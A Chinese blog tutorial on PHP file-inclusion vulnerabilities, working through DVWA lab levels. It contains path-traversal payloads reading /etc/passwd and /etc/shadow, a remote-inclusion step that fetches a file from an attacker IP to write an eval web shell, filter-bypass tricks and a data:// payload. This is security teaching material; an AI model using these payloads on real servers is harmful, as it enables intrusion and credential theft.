文件包含简介
文件包含,File inclusion。
本意:服务器执行PHP等脚本文件时,可通过文件包含函数加载另一个文件中的PHP等脚本,并且执行。
可创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,只需更新一个包含文件即可,或者当向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。
好处:节省开发、维护成本。
文件包含漏洞原理
文件包含漏洞:使用函数去包含任意文件时,若包含的文件过滤不严时,即被包含文件含有恶意文脚本,从而导致攻击者可调用其他恶意文件,触发文件包含漏洞。
常见的文件包含函数
PHP:include() 、include_once()、require()、require_once()
JSP/Servlet:ava.io.file()、java.io.filereader()
ASP:include file、include virtual
文件包含漏洞在PHP中较多的,像JSP、ASP的漏洞较少。
PHP文件包含漏洞前提
服务器开启allow_url_include选项(如何开启在上一篇博客中有提到),可通过PHP的某些特性函数(include(),require()和include_once(),requir_once())利用URL去动态包含文件。
此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
文件包含函数
require()
require_once()
include()
include_once()
include和require区别:
include在包含的过程中若出现错误,会出警告,但程序继续正常运行;
require函数出现错误时,会直接报错并退出程序的执行。
include_once(),require_once()
include_once()和 include 语句类似,区别是若该文件已经被包含过,则不会再次包含。
require_once()和 require 语句完全相同,区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。
文件包含漏洞的一般特征
一般特征如下:
index.php?page=a.php
?home=a.html
?file=content
几种经典的测试方法:
?file=../../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=../../../../../etc/passwd
http://1.1.1.1/../../../../dir/file.txt
利用技巧
读取敏感文件
访问URL:?page=/etc/passwd //目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容。
远程包含Shell
目标主机allow_url_fopen打开,攻击者网站有一个文件echo.txt:代码如下:
<?phpfputs(fopen("shell.php","w"),"<?php @eval($_POST[xxser]);?>");?>
访问:http://靶机IP/index.php?page=http://攻击者IP/echo.txt。将会在index.php所在的目录下生成shell.php,内容为:<?php eval($_POST[xxser]);?>
本地包含配合文件上传
假设已经上传一句话图片木马到服务器,路径为:/uploadfile/xxx.jpg
图片代码如下:<?phpfputs(fopen("shell.php", "w"),"<?php @eval($_POST[cmd]);?>");?>
访问http://目标IP/index.php?page=./uploadfile/xxx.jpg,会在index.php所在的目录下生成shell.php。
中国蚁剑连接
包含data://或php://inout等伪协议(需要allow_url_include=On)
本地文件包含漏洞
常见的敏感信息路径:
Windows系统:
C:\phpstudy_pro\extensions\mysql8.0.12\my.ini // MySQL配置
C:\phpstudy_pro\extensions\mysql8.0.12\data\dvwa\users.MYD // dvwa账号信息
C:\phpstudy_pro\www\dvwa-master\php.ini // php 配置信息
常见的敏感信息路径:
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
low级
件包含
仅仅是配置参数的变化
本地不存在的文件,爆出了路径错误
成功利用文件包含漏洞
medium
对地址进行了过滤(http:// https:// ../ ..\)
可以采取双写httphttp://://
采用绝对路径
大小写绕过
采用双写绕过成功
high
fnmatch() 函数根据指定的模式来匹配文件名或字符串。
源码中限制了文件名来防止恶意文件包含,并且!fnmatch( "file*", $file )代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件,这样我们就远程访问不了了。file:///后面一定是绝对路径。
伪协议读取
file:// #访问本地文件系统
http:// #访问HTTPs网址
ftp:// #访问ftp URL
php:// #访问输入输出流
zlib:// #压缩流
data:// #数据
ssh2:// #security shell2
expect:// #处理交互式的流
glob:// #查找匹配的文件路径
file:// #访问HTTPs网址
http://192.168.10.150/1.php/?name=file://win.ini
http:// #访问HTTPs网址
file:// #访问HTTPs网址
http://192.168.10.150/1.php/?name=file://win.ini
http:// #访问HTTPs网址
http://192.168.10.150/1.php/?name=http://www.baidu.com
data:// #数据
需要allow_url_include 和allow_url_fopen为on
?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
"PD9waHAgcGhwaW5mbygpPz4="是通过base64加密的<?php phpinfo();?>
远程文件包含漏洞
使用kali搭建服务
Low级
用中国蚁剑连接
连接成功
Medium
直接访问是不行的
查看源码我们发现,这个级别对http:// https:// ../ ..\进行了过滤,必须采用绕过方法
① 双写http绕过
测试连接
② 大小写混淆绕过
连接成功
a
被漏洞原理
标签:文件,php,包含,..,漏洞,file,include From: https://blog.51cto.com/heliotopekxy/8955995